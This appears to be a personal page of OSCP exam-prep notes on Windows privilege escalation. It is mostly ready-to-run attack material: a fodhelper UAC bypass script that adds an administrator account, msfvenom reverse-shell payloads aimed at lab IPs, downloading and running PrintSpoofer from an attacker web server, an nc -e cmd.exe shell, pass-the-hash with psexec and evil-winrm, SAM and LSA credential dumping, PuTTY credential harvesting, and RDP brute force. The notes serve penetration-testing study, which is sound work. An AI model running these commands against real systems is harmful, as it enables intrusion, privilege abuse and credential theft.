Exploit - Brandon's OSCP Notes

User Account Control - The effect of UAC is that any application that wishes to perform an operation with a potential system-wide impact, cannot do so silently. This one is UAC Bypass - Fodhelper.exe.

# Check which level - if medium level integrity shell
whoami /groups

where fodhelper.exe # Find the location of fodhelper.exe on the system

Exploitation

# This can directly give high-level integrity sometimes, one-time wonder. if works, works.
powershell.exe Start-Process cmd.exe -Verb runAs

Fodhelper.exe Bypass

# To see if UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

# To see which level is configured
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

# Check for Medium Mandatory Level
whoami /groups | findstr Level

# Search for fodhelper.exe always
where /r C:\\windows fodhelper.exe

# Run this to check Powershell x86 or x64
powershell [Environment]::Is64BitProcess
# If False
C:\Windows\sysnative\cmd.exe

# Just Type these commands
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
# The operation was completed successfully. # YES
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ

# Generate shell64.exe with msfvenom [see if it's 64bit process]
SHELL NAME SHOULD BE THE FODHELPER.exe or whatever .exe is running.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f exe > <shell-x64.exe>
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Users\viewer\Desktop\fodhelper.exe" /f

# Execute Folhelper.exe again (Try each of those if one doesn't work)
# CHANGE NOTHING HERE, just the path try
C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\System32\fodhelper.exe -WindowStyle Hidden"
cmd.exe /c "powershell Start-Process C:\Windows\System32\fodhelper.exe -WindowStyle Hidden"

C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\SysWOW64\fodhelper.exe -WindowStyle Hidden"
cmd.exe /c "powershell Start-Process C:\Windows\SysWOW64\fodhelper.exe -WindowStyle Hidden"

Notes from local machine

From GitHub

Used this script, seems to work:

function FodhelperUACBypass(){ 
 Param (
           
        #[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
        #[String]$program = "cmd.exe /c net user test456 Password456! /add"
        [String]$program = "cmd.exe /c net localgroup administrators test456 /add"
       )
　
    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
　
    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
　
    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
　
}

Other Notes I had


nc 192.168.236.222 4444
whoami /priv
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
python3 -m http.server 80
powershell
iwr -uri http://192.168.45.234/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe
whoami

---

more note20.txt
Alex's password expired, but he's on holiday for the next 4 weeks. Password reset by IT to the default

more note2.txt
Default password for new resets will be WelcomeToWinter0121


msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=4444 -f dll > EnterpriseServiceOptional.dll

privesc tools

check if win-logon-creds are working

msf

use exploit/windows/smb/psexec
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- SHOW TARGETS > set TARGET X
use exploit/windows/smb/psexec_psh

Note: psexec & evil-winrm uses port 5985 (powershell remote access)

psexec | smbexec | wmiexec

NOTE: psexec, smbexec will give SYSTEM shell. wmiexec will give user shell.

impacket-psexec DOMAIN/USER:['PASS']@IP [-hashes :NTLMHASH]

impacket-smbexec DOMAIN/USER:['PASS']@IP [-hashes :NTLMHASH]

impacket-wmiexec DOMAIN/USER:['PASS']@IP [-hashes :NTLMHASH]

evil-winrm

**NOTE:** evil-winrm usually gives **medium integrity shells** for added administrator accounts. Even if new account has Administrator permissions, cannot actually perform administrative actions with it.

# only USER, no DOMAIN needed

evil-winrm -i IP -u USER [-H NT-HASH | -p PASS]



# custom options

PS> menu

[+] Dll-Loader

[+] Donut-Loader

[+] Invoke-Binary

[+] Bypass-4MSI

[+] services

[+] upload

[+] download

winexe

winexe -U 'DOMAIN/USER%PASS' //IP cmd.exe

pth-winexe

pth-winexe -U 'DOMAIN/USER%HASH' //IP cmd.exe

# --system needs local admin hash

pth-winexe [--system] -U 'administrator%NTLM:HASH' //IP cmd.exe

PsExec.exe

PS> .\PsExec64.exe -accepteula -i -s SHELL.exe

# i: Run process interactively

# s: Run remote process in the System account.



> PSExec64.exe -i -u "nt authority\local service" SHELL.exe

# u: Run process as user-account <>



# Run executable with a different user:pass

PS> .\PsExec.exe -accepteula -u USER -p PASS nc.exe IP PORT -e cmd.exe

Dump SAM

SAM Hash Format

uid : rid : LM_Hash : NTLM_Hash

Empire Project

powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-PowerDump.ps1; Invoke-PowerDump}"

Manual

https://www.thehacker.recipes/a-d/movement/credentials/dumping/sam-and-lsa-secrets

# actual location
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SYSTEM
# other locations
C:\Windows\System32\config\RegBack
C:\Windows\Repair

reg save hklm\sam c:\Users\Public\ksam
reg save hklm\system c:\Users\Public\ksystem
reg save hklm\security c:\Users\Public\ksecurity

# on kali
samdump2 ksystem ksam
impacket-secrectsdump -sam ksam -security ksecurity -system ksystem LOCAL

# Remote dumping of SAM & LSA secrets
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

# Remote dumping of SAM & LSA secrets (pass-the-hash)
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'

# Remote dumping of SAM & LSA secrets (pass-the-ticket)
secretsdump.py -k 'DOMAIN/USER@TARGET'

# Offline dumping of LSA secrets from exported hives
secretsdump.py -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

# Offline dumping of SAM secrets from exported hives
secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' LOCAL

# Offline dumping of SAM & LSA secrets from exported hives
secretsdump.py -sam '/path/to/sam.save' -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

Putty

HackTricks

Session Gopher GitHub

If installed, might find creds

1) reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

or try this:

2) . .\SessionGopher.ps1
	1) Invoke-SessionGopher -Thorough

RDP Bruteforce

https://github.com/galkan/crowbar

You can use hydra, but this will probably work as well:

# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist